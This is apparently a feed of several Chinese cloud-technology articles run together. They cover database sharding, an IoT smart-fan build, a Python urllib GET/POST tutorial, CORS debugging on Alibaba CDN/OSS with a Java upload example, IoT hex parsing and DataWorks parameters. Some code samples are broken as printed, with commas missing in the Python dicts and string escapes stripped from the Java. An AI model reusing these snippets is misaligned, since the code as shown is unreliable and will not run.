        场景:系统绝对并发量上来了,并且可以抽象出单独的业务模块。

        分析:到这一步,基本上就可以服务化了。例如,随着业务的发展一些公用的配置表、字典表等越来越多,这时可以将这些表拆到单独的库中,甚至可以服务化。再有,随着业务的发展孵化出了一套业务模式,这时可以将相关的表拆到单独的库中,甚至可以服务化。

        4、垂直分表

        image.png

        概念:以字段为依据,按照字段的活跃性,将表中字段拆到不同的表(主表和扩展表)中。

        结果:

        • 每个表的结构都不一样;
        • 每个表的数据也不一样,一般来说,每个表的字段至少有一列交集,一般是主键,用于关联数据;
        • 所有表的并集是全量数据;

        场景:系统绝对并发量并没有上来,表的记录并不多,但是字段多,并且热点数据和非热点数据在一起,单行数据所需的存储空间较大。以至于数据库缓存的数据行减少,查询时会去读磁盘数据产生大量的随机读IO,产生IO瓶颈。

        分析:可以用列表页和详情页来帮助理解。垂直分表的拆分原则是将热点数据(可能会冗余经常一起查询的数据)放在一起作为主表,非热点数据放在一起作为扩展表。这样更多的热点数据就能被缓存下来,进而减少了随机读IO。拆了之后,要想获得全部数据就需要关联两个表来取数据。

        但记住,千万别用join,因为join不仅会增加CPU负担并且会讲两个表耦合在一起(必须在一个数据库实例上)。关联数据,应该在业务Service层做文章,分别获取主表和扩展表数据然后用关联字段关联得到全部数据。

        三、分库分表工具

        • sharding-sphere:jar,前身是sharding-jdbc;
        • TDDL:jar,Taobao Distribute Data Layer;
        • Mycat:中间件。

        注:工具的利弊,请自行调研,官网和社区优先。

        四、分库分表步骤

        根据容量(当前容量和增长量)评估分库或分表个数 -> 选key(均匀)-> 分表规则(hash或range等)-> 执行(一般双写)-> 扩容问题(尽量减少数据的移动)。

        扩展:MySQL:分库分表与分区的区别和思考

        五、分库分表问题

        1、非partition key的查询问题

        基于水平分库分表,拆分策略为常用的hash法。

        端上除了partition key只有一个非partition key作为条件查询

        映射法

        image.png

        基因法

        image.png

        注:写入时,基因法生成user_id,如图。关于xbit基因,例如要分8张表,23=8,故x取3,即3bit基因。根据user_id查询时可直接取模路由到对应的分库或分表。

        根据user_name查询时,先通过user_name_code生成函数生成user_name_code再对其取模路由到对应的分库或分表。id生成常用snowflake算法。

        端上除了partition key不止一个非partition key作为条件查询

        映射法

        image.png

        冗余法
        image.png

        注:按照order_id或buyer_id查询时路由到db_o_buyer库中,按照seller_id查询时路由到db_o_seller库中。感觉有点本末倒置!有其他好的办法吗?改变技术栈呢?

        后台除了partition key还有各种非partition key组合条件查询

        NoSQL法

        image.png

        冗余法

        image.png

        2、非partition key跨库跨表分页查询问题

        基于水平分库分表,拆分策略为常用的hash法。

        注:用NoSQL法解决(ES等)。

        3、扩容问题

        基于水平分库分表,拆分策略为常用的hash法。

        水平扩容库(升级从库法)
        image.png

        注:扩容是成倍的。

        **水平扩容表(双写迁移法)
        **

        image.png

        • 第一步:(同步双写)修改应用配置和代码,加上双写,部署;
        • 第二步:(同步双写)将老库中的老数据复制到新库中;
        • 第三步:(同步双写)以老库为准校对新库中的老数据;
        • 第四步:(同步双写)修改应用配置和代码,去掉双写,部署;

        注:双写是通用方案。

        六、分库分表总结

        • 分库分表,首先得知道瓶颈在哪里,然后才能合理地拆分(分库还是分表?水平还是垂直?分几个?)。且不可为了分库分表而拆分。
        • 选key很重要,既要考虑到拆分均匀,也要考虑到非partition key的查询。
        • 只要能满足需求,拆分规则越简单越好。

        七、分库分表示例

        示例GitHub地址:https://github.com/littlecharacter4s/study-sharding


        本文转载自公众号: Spark学习技巧
        原文链接:https://mp.weixin.qq.com/s/QZnGCtvU7CvThC47ITQAmA


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。image.png

        Apache Spark技术交流社区公众号,微信扫一扫关注image.png

        ]]>
        使用米芯智能模块C-8082US快速、低成本、标准化接入阿里云生活物联网(飞燕)开发生活类智能家电 Fri, 02 May 2025 09:39:04 +0800 1.写在开头

        智能这个词在家电领域用的很多,大家肯定不陌生。很多所谓的智能家电大部分指内置单片机控制的家电。 而本文要说的智能家电指接入物联网云端,通过云端可以与手机端、AI音箱端互通信息的家电。 阅读本文您会发现实用米芯智能模块开发智能家电会如此简单。

        为了更好的阅读本文,您需要基本了解阿里生活物联网及平台操作。因涉及内容比较多,本文只简述重点。

        2.米芯智能模块介绍

        米芯智能模块是米芯信息团队专为电子、单片机工程师使用而设计,不仅仅是一个硬件模块而是一种设备硬件接入阿里云生活物联网的解决方案。米芯智能模块基于米芯框架开发,内置米芯固件,支持米芯串口通讯协议。米芯智能模块大大降低了设备接入云端的复杂度。
        了解详情 点击这里

        3.实战案例

        下面通过开发一个智能 电风扇 demo 作为案例。
        使用米芯智能模块快速开发物联网智能电风扇。实现 电风扇(设备)接入阿里云生活物联网(飞燕)。手机APP、天猫精灵音箱与电风扇联动及控制。

        3.1 物料清单

        • 普通电风扇 1台
        • demo控制板 1块
        • 米芯智能模块 1个 点击购买
        • 安卓智能手机 1个
        • 天猫精灵音箱 1个

        3.2 设备端开发

        我们使用一把普通的电风扇作为原型机,在此基础上开发一个智能电风扇的demo。
        普通电风扇功能:开关、3个风速档位;

        1400015786.jpg

        3.2.1 更换电风扇控制板

        普通电风扇内置的控制板需要替换为demo控制板。

        808930180.jpg
        demo控制板有3个继电器 正好可以实现 3个风速档位的控制(即对应普通电风扇的电机的3个输入)

        2011533227.jpg
        将原控制板连接的电缆拔出插入demo控制板对应插座上。
        电缆连接后的样子如下:
        1873054452.jpg
        (亮灯的为按键板,代替原电风扇上面的操作按键)
        我们手上的这块demo控制板上面有一个4P串口插座并且控制板上的8位单片机已经对接好米芯串口通讯协议。
        将米芯智能模块串口与demo控制板串口电缆连接。
        1966423224.jpg

        至此demo设备端已经开发好;

        3.3 云端开发

        阿里云生活物联网(飞燕)是在阿里云IoT基础(laaS)上搭建的PaaS,我们只需要在PaaS上定义不同的产品、参数即可使用。

        3.1 创建产品

        20200401112922.jpg

        注意: 数据格式选择 “透传/自定义”, 后面有用。

        3.1 功能定义

        根据demo设备的功能,定义 “电源开关”、“风速” 属性, 其他的属性不需要。
        20200401113317.jpg

        3.2 数据解析脚本

        米芯模块的设备功能会透传到云端,在云端数据解析转为标准的alink协议。
        数据解析脚本有米芯工具根据产品功能定义自动生成。
        20200401115324.jpg

        3.3 人机交互设置

        在阿里云生活物联网平台提供的模板的基础上,我们根据demo的功能制作控制面板。
        20200401115951.jpg

        至此云端开发完成。

        4 手机APP

        对于智能电风扇demo,云平台提供的公版APP已经基本满足需求。 我们直接使用公版APP作为手机控制端及设备配网使用。

        产品没发布前,调试阶段需要使用 开发板APP。

        4.2 设备进入配网模式

        长按按键板上的配网键,使米芯模块进入配网模式

        控制板上的MCU向米芯模块发送重置配网指令:55 AA 01 04 00 00 04

        4.1 通过手机APP给设备配网

        公版APP扫描 刚才创建的产品的配网二维码,按提示完成配网。

        4.2 手机APP控制设备:

        配网成功,设备成功连接到云端后,即可通过手机APP控制demo设备。
        707862060 (1).jpg

        5 天猫精灵控制

        生活网平台的电风扇品类已经与天猫精灵云平台打通。因此可以直接使用天猫精灵音箱语音指令控制demo。

        057501015E8429FA5A50FC941E6B1803.jpg

        我拍了一个天猫精灵控制电风扇demo的视频并上传到了优酷。
        视频地址

        6 写在最后

        因篇幅及文笔水平有限,本文的文字和图片可能存在错误之处还请读者多包涵。
        欢迎一起探讨学习家电物联网智能化;

        481682353 (2).jpg

        ]]>
        python爬虫URL编码和GETPOST请求 | python爬虫实战之三 Fri, 02 May 2025 09:39:04 +0800 urllib.parse模块

        该模块可以完成对url的编解码。
        先看一段代码,进行编码。

        image.png
        image.png

        此时查看结果,程序显示TypeError错误,urlencode函数第一参数要求是一个字典或者二元组序列。
        我们修改代码:

        from urllib import parse
        
        d = {
              'id':1
              'name': 'tom'
        }
        
        url = 'http://www.magedu.com/python'
        u = parse.urlencode(d)
        print(u)

        执行结果:

        image.png

        我们将结果拼接:

        url = 'http://www.magedu.com/python?id=1&name=tom'

        此时,类似于查询字符串,相当于get方法
        若再次修改:

        url = 'http://www.magedu.com/python'
        body 'id=1&name=tom'

        则此时相当于post请求。

        from urllib import parse
        
        d = {
              'id':1
              'name': 'tom'
              'url': 'http://www.magedu.com/python?id=1&name=tom'
        }
        
        u = parse.urlencode(d)
        print(u)

        执行结果:

        image.png

        我们修改name为“张三”:

        'name': '张三'

        执行结果:

        image.png
        image.png

        从运行结果来看冒号、斜杠、&、等号、问号等符号全部被编码了,%之后实际上是单字节十六进制表示的值。

        一般来说url中的地址部分, 一般不需要使用中文路径, 但是参数部分, 不管GET还是POST方法, 提交的数据中,可能有斜杆、等号、问号等符号,这样这些字符表示数据,不表示元字符。如果直接发给服务器端,就会导致接收方无法判断谁是元字符, 谁是数据了。为了安全, 一般会将数据部分的字符做url编码, 这样就不会有歧义了。后来可以传送中文, 同样会做编码, 一般先按照字符集的encoding要求转换成字节序列, 每一个字节对应的十六进制字符串前加上百分号即可。

        网页使用utf-8编码:

        image.png

        之前都是进行编码过程,现在来看一下解码的过程:

        from urllib import parse
        
        d = {
              'id':1
              'name': 'tom'
              'url': 'http://www.magedu.com/python?id=1&name=tom'
        }
        
        u = parse.urlencode(d)
        print(u)
        
        x = parse.unquote(u)
        print(x)

        执行结果:

        image.png

        以上就是对parse模块的介绍,其余的我们不再进行演示了,下面来了解method方法。

        提交方法method

        最常用的HTTP交互数据的方法是GET、POST。

        GET方法, 数据是通过URL传递的, 也就是说数据是在HTTP报文的header部分。POST方法, 数据是放在HTTP报文的body部分提交的。
        数据都是键值对形式, 多个参数之间使用&符号连接。例如a=1&b=abc

        GET方法

        连接 必应 搜索引擎官网,获取一个搜索的URLhttp://cn.bing.com/search?q=马哥教育
        需求
        请写程序完成对关键字的bing搜索, 将返回的结果保存到一个网页文件。

        from urllib import parse
        
        base_url = 'http://cn.bing.com/search'
        d = {
              'q':'马哥教育'
        }
        
        u = parse.urlencode(d)
        url = '{}?{}'.format(base_url, u)
        
        print(url)
        print(parse.unquote(url))

        执行结果:

        image.png

        此时不能发出请求。我们添加代码:

        from urllib.request import urlopen, Request
        
        ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
        
        req = Request(url, headers={
            'User-agent':ua
        })
        
        with urlopen(req) as res:
            with open('o:/bing.html', 'wb+') as f:
                f.write(res.read())
                f.flush()

        程序执行成功。这是对特定页面的爬取。

        image.png
        image.png

        POST方法

        http://httpbin.org/ 测试网站

        image.png
        image.png

        我们来测试一下:

        from urllib import parse
        from urllib.request import urlopen, Request
        import simplejson
        
        url = 'http://httpbin.org/post'  # POST
        data = parse.urlencode({'name':'张三,@=/&*', 'age':'6' })    # body
        ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
        
        req = Request(url, headers={
            'User-agent':ua
        })
        
        print(data)
        
        with urlopen(req, data=data.encode()) as res:  # POST请求,data不能为None
            text = res.read()

        执行结果:

        image.png

        打印一下d的类型

        print(type(d))

        执行结果:

        image.png

        通过这种方式就实现了post交互,我们将data提交上去,就是发送post请求,如果对方的网站有响应,会返回数据,返回的数据是正好是json,所以对其用simplejson进行转换。我们是需要根据网站返回的结果,去选择合适的方法处理转换数据。

        配套视频课程,点击这里查看

        获取更多资源请订阅Python学习站

        ]]>
        访问 cdn、oss 跨域问题 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        背景:

        经常遇到有跨域的问题,老生长谈,却又屡禁不止,谈到跨域我们就了解下它是什么?

        一句话简单说明

        一个资源请求一个其它域名的资源时会发起一个跨域 HTTP 请求 (cross-origin HTTP request)。比如说,域名A(http://domaina.example) 的某 Web 应用通过标签引入了域名 B(http://domainb.foo) 的某图片资源(http://domainb.foo/image.jpg),域名 A 的 Web 应用就会导致浏览器发起一个跨域 HTTP 请求

        http://www.123.com/index.html 调用 http://www.123.com/server.php (非跨域)
        
        http://www.123.com/index.html 调用 http://www.456.com/server.php (主域名不同:123/456,跨域)
        
        http://abc.123.com/index.html 调用 http://def.123.com/server.php (子域名不同:abc/def,跨域)
        
        http://www.123.com:8080/index.html 调用 http://www.123.com:8081/server.php (端口不同:8080/8081,跨域)
        
        http://www.123.com/index.html 调用 https://www.123.com/server.php (协议不同:http/https,跨域)
        
        请注意:localhost和127.0.0.1虽然都指向本机,但也属于跨域。

        跨域请求标识

        origin ,当浏览器识别出 client 发起的请求需要转到另外一个域名上处理是,会在请求的 request header 中增加一个 origin 标识,如下我用 curl 测试了一个域名

        curl -voa http://mo-im.oss-cn-beijing.aliyuncs.com/stu_avatar/010/personal.jpg -H "Origin:www.mobby.cn"
          % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                         Dload  Upload   Total   Spent    Left  Speed
          0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 59.110.190.173...
        * TCP_NODELAY set
        * Connected to mo-im.oss-cn-beijing.aliyuncs.com (59.110.190.173) port 80 (#0)
        > GET /stu_avatar/010/personal.jpg HTTP/1.1
        > Host: mo-im.oss-cn-beijing.aliyuncs.com
        > User-Agent: curl/7.54.0
        > Accept: */*
        > Origin:www.mo.cn
        > 
        < HTTP/1.1 200 OK
        < Server: AliyunOSS
        < Date: Sun, 09 Sep 2018 12:30:28 GMT
        < Content-Type: image/jpeg
        < Content-Length: 8407
        < Connection: keep-alive
        < x-oss-request-id: 
        < Access-Control-Allow-Origin: www.mobby.cn
        < Access-Control-Allow-Credentials: true
        < Access-Control-Allow-Methods: GET, POST, HEAD
        < Access-Control-Max-Age: 0
        < Accept-Ranges: bytes

        可以看到挡我发起 origin 的请求头后,如果目标的网页服务允许来源的域名访问,就会在响应的 respond 头上带上跨域的响应头。(以下 header 目标域名如果设置了才会有响应)

        < Access-Control-Allow-Origin: www.mobby.cn (允许的跨域来源,可以写 *,或者绝对域名) 
        < Access-Control-Allow-Headers: *(允许跨域时携带哪些 header )
        < Access-Control-Allow-Methods: GET, POST, HEAD (允许哪些跨域请求方法,origin 是默认支持的)

        跨域设置分类 cdn-cdn 、cdn-oss

        类型一:cdn-cdn

        image.png

        通过报错可以看出来 发起跨区域请求的源头 是 bo3.ai.com 加载了 www.ai.com 网站的资源,这两个域名都在 阿里云 cdn 加速。既然找到了请求目的 www.ai.com,那么直接检查下目的域名上是否新增了跨域头。这种情况基本都是目的域名没有加上允许的跨域头导致。

        类型二:cdn-oss

        image.png

        这个问题比较特殊,拆分两部分说明。出现这种情况,通过截图我们发现用户有两种请求,分别是 get 和 post 两种,由于 get 好测试,我们先说 get

        1、出现跨域错误,首先就要检查原是否添加了跨域头,于是我们使用 curl 测试一下,如果最简单的 get 测试成功返回跨域头,说明目的 域名设置了跨域响应,如果测试失败说明原没有添加跨域响应。通过如下图很显然看到了目的添加了跨域头。

        curl -voa http://mo-im.oss-cn-beijing.aliyuncs.com/stu_avatar/010/personal.jpg -H "Origin:www.mo.cn"
          % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                         Dload  Upload   Total   Spent    Left  Speed
          0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 59.110.190.173...
        * TCP_NODELAY set
        * Connected to mo-im.oss-cn-beijing.aliyuncs.com () port 80 (#0)
        > GET /stu_avatar/010/personal.jpg HTTP/1.1
        > Host: mo-im.oss-cn-beijing.aliyuncs.com
        > User-Agent: curl/7.54.0
        > Accept: */*
        > Origin:www.mo.cn
        > 
        < HTTP/1.1 200 OK
        < Server: AliyunOSS
        < Date: Sun, 09 Sep 2018 12:30:28 GMT
        < Content-Type: image/jpeg
        < Content-Length: 8407
        < Connection: keep-alive
        < x-oss-request-id: 5B951264980F8FDB749972B3
        < Access-Control-Allow-Origin: www.mo.cn
        < Access-Control-Allow-Credentials: true
        < Access-Control-Allow-Methods: GET, POST, HEAD
        < Access-Control-Max-Age: 0
        

        2、通过 get 测试发现 oss 是加了跨域头的,但是为什么 post 请求就返回 405 呢?没有任何跨域头呢?用户反馈为什么手动 curl 测试也是失败

        curl -v -X POST -d '{"user":"xxx"}' http://mo-im.oss-cn-beijing.aliyuncs.com/stu_avatar/010/personal.jpg -H "Origin:www.mo.cn"
        Note: Unnecessary use of -X or --request, POST is already inferred.
        *   Trying 59.110.190.173...
        * TCP_NODELAY set
        * Connected to mo-im.oss-cn-beijing.aliyuncs.com (59.110.190.173) port 80 (#0)
        > POST /stu_avatar/010/personal.jpg HTTP/1.1
        > Host: mo-im.oss-cn-beijing.aliyuncs.com
        > User-Agent: curl/7.54.0
        > Accept: */*
        > Origin:www.mo.cn
        > Content-Length: 14
        > Content-Type: application/x-www-form-urlencoded
        > 
        * upload completely sent off: 14 out of 14 bytes
        < HTTP/1.1 405 Method Not Allowed
        < Server: AliyunOSS
        < Date: Sun, 09 Sep 2018 13:06:28 GMT
        < Content-Type: application/xml
        < Content-Length: 337
        < Connection: keep-alive
        < x-oss-request-id: 
        < Allow: GET DELETE HEAD PUT POST OPTIONS
        < 
        <?xml version="1.0" encoding="UTF-8"?>
        <Error>
          <Code>MethodNotAllowed</Code>
          <Message>The specified method is not allowed against this resource.</Message>
          <RequestId></RequestId>
          <HostId>mo-im.oss-cn-beijing.aliyuncs.com</HostId>
          <Method>POST</Method>
          <ResourceType>Object</ResourceType>
        </Error>
        

        2.1、 首先我们看 oss 对于 post 的要求

        https://help.aliyun.com/document_detail/31988.html?spm=a2c4g.11186623.6.1008.5bb84b4e1JEoA4
        

        2.2 、发现无论是 curl 测试还是代码的请求,都出先一个共性的问题。

        • 请求的格式不是 rfc 标准规定的 content-type:multipart/form-data
        • 请求头不是内存不是 rfc 规定的表单域提交
        • 既然不是表单域,那么要求的 filename 肯定也不知最后一个域。

        2.3 、在以上情况下既然是非法的提交那么 oss 肯定返回了 405 ,所以不会出触发跨域的响应头,必要要正确的返回 200 状态才可以,那么我们就用一段 Java 代码演示下跨域的操作以及正确的响应头抓包信息。

        JAVA 跨域请求源码

        package com.alibaba.edas.carshop.OSS;
        
        import javax.activation.MimetypesFileTypeMap;
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        
        import org.apache.commons.codec.binary.Base64;
        
        import java.io.*;
        import java.net.HttpURLConnection;
        import java.net.URL;
        import java.security.InvalidKeyException;
        import java.security.NoSuchAlgorithmException;
        import java.util.Iterator;
        import java.util.LinkedHashMap;
        import java.util.Map;
        import java.util.Map.Entry;
        
        public class OSSPostFile {
            // The local file path to upload.
            private String localFilePath = "C:\T\1.txt";
            // OSS domain, such as http://oss-cn-hangzhou.aliyuncs.com
            private String endpoint = "http://oss-cn-beijing.aliyuncs.com";
            // Access key Id. Please get it from https://ak-console.aliyun.com
            private String accessKeyId = "";
            private String accessKeySecret = "";
            // The existing bucket name
            private String bucketName = "您自己的bucket名称";
            // The key name for the file to upload.
            private String key = "1.txt";
        
            public void PostObject() throws Exception {
                // append the 'bucketname.' prior to the domain, such as
                // http://bucket1.oss-cn-hangzhou.aliyuncs.com.
                String urlStr = endpoint.replace("http://", "http://" + bucketName + ".");
        
                // form fields
                Map<String, String> formFields = new LinkedHashMap<String, String>();
        
                // key
                formFields.put("key", this.key);
                // Content-Disposition
                formFields.put("Content-Disposition", "attachment;filename=" + localFilePath);
                // OSSAccessKeyId
                formFields.put("OSSAccessKeyId", accessKeyId);
                // policy
                String policy = "{"expiration": "2120-01-01T12:00:00.000Z","conditions": [["content-length-range", 0, 104857600000]]}";
                String encodePolicy = new String(Base64.encodeBase64(policy.getBytes()));
                formFields.put("policy", encodePolicy);
                // Signature
                String signaturecom = computeSignature(accessKeySecret, encodePolicy);
                formFields.put("Signature", signaturecom);
        
                String ret = formUpload(urlStr, formFields, localFilePath);
        
                System.out.println("Post Object [" + this.key + "] to bucket [" + bucketName + "]");
                System.out.println("post reponse:" + ret);
            }
        
            private static String computeSignature(String accessKeySecret, String encodePolicy)
                    throws UnsupportedEncodingException, NoSuchAlgorithmException, InvalidKeyException {
                // convert to UTF-8
                byte[] key = accessKeySecret.getBytes("UTF-8");
                byte[] data = encodePolicy.getBytes("UTF-8");
        
                // hmac-sha1
                Mac mac = Mac.getInstance("HmacSHA1");
                mac.init(new SecretKeySpec(key, "HmacSHA1"));
                byte[] sha = mac.doFinal(data);
        
                // base64
                return new String(Base64.encodeBase64(sha));
            }
        
            private static String formUpload(String urlStr, Map<String, String> formFields, String localFile) throws Exception {
                String res = "";
                HttpURLConnection conn = null;
                String boundary = "9431149156168";
        
                try {
                    URL url = new URL(urlStr);
                    conn = (HttpURLConnection) url.openConnection();
                    conn.setConnectTimeout(5000);
                    conn.setReadTimeout(30000);
                    conn.setDoOutput(true);
                    conn.setDoInput(true);
                    conn.setRequestMethod("POST");
                    conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.6)");
                    conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
                    OutputStream out = new DataOutputStream(conn.getOutputStream());
        
                    // text
                    if (formFields != null) {
                        StringBuffer strBuf = new StringBuffer();
                        Iterator<Entry<String, String>> iter = formFields.entrySet().iterator();
                        int i = 0;
        
                        while (iter.hasNext()) {
                            Entry<String, String> entry = iter.next();
                            String inputName = entry.getKey();
                            String inputValue = entry.getValue();
        
                            if (inputValue == null) {
                                continue;
                            }
        
                            if (i == 0) {
                                strBuf.append("--").append(boundary).append("rn");
                                strBuf.append("Content-Disposition: form-data; name="" + inputName + ""rnrn");
                                strBuf.append(inputValue);
                            } else {
                                strBuf.append("rn").append("--").append(boundary).append("rn");
                                strBuf.append("Content-Disposition: form-data; name="" + inputName + ""rnrn");
                                strBuf.append(inputValue);
                            }
        
                            i++;
                        }
                        out.write(strBuf.toString().getBytes());
                    }
        
                    StringBuffer strBuf1 = new StringBuffer();
                    String callback = "{"callbackUrl":"http://47.93.116.168/Revice.ashx","callbackBody":"{\"bucket\"=${bucket},\"size\"=${size}}"}";
        
                    byte[] textByte = callback.getBytes("UTF-8");
                    strBuf1.append("rn").append("--").append(boundary).append("rn");
        
                    String callbackstr = new String(Base64.encodeBase64(textByte));
                    strBuf1.append("Content-Disposition: form-data; name="callback"rnrn" + callbackstr + "rnrn");
                    out.write(strBuf1.toString().getBytes());
        
                    // file
                    File file = new File(localFile);
                    String filename = file.getName();
                    String contentType = new MimetypesFileTypeMap().getContentType(file);
                    if (contentType == null || contentType.equals("")) {
                        contentType = "application/octet-stream";
                    }
        
                    StringBuffer strBuf = new StringBuffer();
                    strBuf.append("rn").append("--").append(boundary).append("rn");
                    strBuf.append("Content-Disposition: form-data; name="file"; " + "filename="" + filename + ""rn");
                    strBuf.append("Content-Type: " + contentType + "rnrn");
                    out.write(strBuf.toString().getBytes());
        
                    DataInputStream in = new DataInputStream(new FileInputStream(file));
                    int bytes = 0;
                    byte[] bufferOut = new byte[1024];
                    while ((bytes = in.read(bufferOut)) != -1) {
                        out.write(bufferOut, 0, bytes);
                    }
                    in.close();
        
                    byte[] endData = ("rn--" + boundary + "--rn").getBytes();
                    out.write(endData);
                    out.flush();
                    out.close();
        
                    // Gets the file data
                    strBuf = new StringBuffer();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                    String line = null;
                    while ((line = reader.readLine()) != null) {
                        strBuf.append(line).append("n");
                    }
                    res = strBuf.toString();
                    reader.close();
                    reader = null;
                } catch (Exception e) {
                    System.err.println("Send post request exception: " + e.getLocalizedMessage());
                    throw e;
                } finally {
                    if (conn != null) {
                        conn.disconnect();
                        conn = null;
                    }
                }
        
                return res;
            }
        
        }
        

        经过代码测试以及抓包验证在 正确的 post 的前提下,oss 的跨域规则已经生效。

        image.png

        ]]>
        借助IoT平台云端数据解析能力,转换Modbus,电力协议,hex数据 Fri, 02 May 2025 09:39:04 +0800 1.整体技术方案

        在IoT场景中,很多传感器采集到的都是二进制数据,或者私有协议格式数据流,设备端又不具备转换成结构化JSON的能力,这时候我们可以借助IoT物联网平台云端自定义数据解析能力,转换Modbus,电力协议,hex数据,私有协议为结构化的JSON,再流转到业务系统。

        数据流转链路

        image.png

        消息变化

        image.png

        2.物联网平台开发

        消息通信Topic

        image.png

        hex转换脚本配置


        原始数据:0x035e8192fd0000000d0000001b00000a8c
        数据业务格式:
        image.png
        脚本配置
        image.png


        完整脚本内容

        /**
         * 将设备自定义topic数据转换为json格式数据, 设备上报数据到物联网平台时调用
         * 入参:topic   字符串,设备上报消息的topic     
         * 入参:rawData byte[]数组                  不能为空
         * 出参:jsonObj JSON对象                    不能为空
         */
        function transformPayload(topic, rawData) {
            var jsonObj = {}
            
            //原始hex数据 : 0x035e8192fd0000000d0000001b00000a8c
        /*
        {
          "heartbeat": 15,
          "id": 1585549855,
          "steps": 2700,
          "speed": 56
        }
        */
            if (topic.endsWith('/user/update')) {
                    var uint8Array = new Uint8Array(rawData.length);
                    for (var i = 0; i < rawData.length; i++) {
                        uint8Array[i] = rawData[i] & 0xff;
                    }
                    var dataView = new DataView(uint8Array.buffer, 0);
        
                    var fHead = uint8Array[0]; // command
                    if (fHead == 0x03) {
                        //
                        jsonObj['id'] = dataView.getInt32(1);
                        //心跳
                        jsonObj['heartbeat'] = dataView.getInt32(5);
                        //速度
                        jsonObj['speed'] = dataView.getInt32(9);
                        //总步数
                        jsonObj['steps'] = dataView.getInt32(13);
                    }
            }
            
            return jsonObj;
        }
          

        3.设备开发

        设备上报hex原始数据

        // 消息Topic携带?_sn=default标识
        const topic = '/aiDerw9823s/dn308/user/update'+'?_sn=default';
        // 原始数据
        var payloadArray = [ 3, 94, 129, 169, 59, 0, 0, 0, 23, 0, 0, 0, 79, 0, 0, 30, 220 ];
        var payload = new Buffer(payloadArray);
        // 发布数据到topic
        client.publish(topic, payload);
        
        

        4.联调日志

        设备上报原始hex数据

        image.png

        脚本转换后日志

        image.png

        业务消息报文日志

        消息详情(topic和payload)
        image.png

        ]]>
        调度参数在MaxCompute的使用 Fri, 02 May 2025 09:39:04 +0800 一、调度参数和MaxCompute的关系

        首先明确调度参数是属于DataWorks上的和MaxCompute之间是没有关系的。

        二、调度参数执行的原理

        调度参数是经过DataWorks的调度系统进行解析,然后将解析的值传到MaxCompute上MaxCompute根据对应的key获取对应的value,所以想要取到值必须经过DataWorks的调度系统解析。

        三、如何测试调度参数

        1.系统参数(2个)

        • 主要包括业务时间bdp.system.bizdate
        • 定时时间bdp.system.cyctime
        说明
        这两个值由于是DataWorks的系统参数,可以直接在代码中使用,在页面点击高级运行可以解析
        **使用方法:
        **
        在DataWorks直接点击高级运行可以看到结果

        select ${bdp.system.bizdate}

        结果:
        image.png

        2.时间参数

        内置参数
        ($bizdate和$cyctime)、${…}和$[…],
        说明
        由于不是系统的必须经过调度系统才能测试,在页面点击高级运行也是无法解析的
        使用方法
        • 在数据流程->MaxCompute->数据开发->新建一个odspsql节点
        image.png

        • 双击打开节点,编写sql

        image.png
        • 点击调度配置,配置调度参数

        image.png
        • 将当前节点保存,关闭退出运行

        image.png
        • 查看结果

        image.png

        3.自定义常量参数

        说明
        在页面点击高级运行可以解析
        • 在临时查询中编写sql

        select '${key}';

        • 点击高级运行

        image.png
        • 查看结果
        image.png

        大家如果对MaxCompute有更多咨询或者建议,欢迎扫码加入 MaxCompute开发者社区钉钉群,或点击链接 申请加入。
        image.png

        ]]>
        为什么支付宝有底气说“你敢付我敢赔”? Fri, 02 May 2025 09:39:04 +0800 随着技术纵深发展,“万物互联”的概念已不鲜见,在数字化世界的游戏规则里,除了网络基础信息安全隐患外,业务安全风险也已经越来越被重视。

        陈锣斌是支付宝大安全的资深架构师,已拥有近十年“蚁龄”。

        从2010年9月加入蚂蚁后,陈锣斌主要负责业务风控平台的实时计算以及数据相关工作,经历过整个业务风控从2代平台到5代平台进入智能化阶段的建设,近两年陈锣斌同时进入到基础安全领域,带领平台研发团队建设“安全全域态势威胁感知平台”,为支付宝整体安全的攻防提供有力支撑。

        当我们在谈互联网安全的时候,我们在谈什么

        在陈锣斌看来,互联网安全目前主要两个大领域,一块是网络信息安全或者说是基础安全,另一块是在网络上各种应用、服务所涉及的业务本身的业务安全。在此之后才有“风控系统”的到来。

        前者其实就是互联网上的信息安全。涉及到互联网上信息的保密性、完整性、可用性、真实性和可控性的相关技术。比如,个人在网站上的隐私信息保护、网络通信的时候防止信息被窃取监听,为防止黑客入侵造成服务攻击或者数据泄露所建设的各种安全防护能力等。

        最开始是1988 年,世界上第一例蠕虫病毒“Morris”出现,之后世界上各种病毒、木马和网络攻击层出不穷,严重威胁到互联网的繁荣和用户数据的安全。特别是制造网络病毒逐渐成为一种有利可图的产业,网络安全就基本上成为伴随互联网扩散的常态问题,且愈演愈烈。

        从“Morris”到“wannacry”,蠕虫病毒挑战的不只是安全防护技术

        后者业务安全,其实就是在互联网上开展各种业务所面临的一些风险防控的技术。比如社交的相关业务就会涉及到内容的安全(暴恐政、黄赌毒),电商业务的刷单、营销作弊,还有就是支付的时候的支付风控、洗钱、欺诈等风险防控。

        网络安全的过去、现在和未来

        陈锣斌认为,早期对安全的认知都相对简单,很多人认为个人电脑就是杀毒软件,网络就是防火墙,业务安全可能就是数字证书、密码加上简单的异步监控。但随着市场的扩张,不断升级的安全风控的能力成为各大互联网公司的标配。

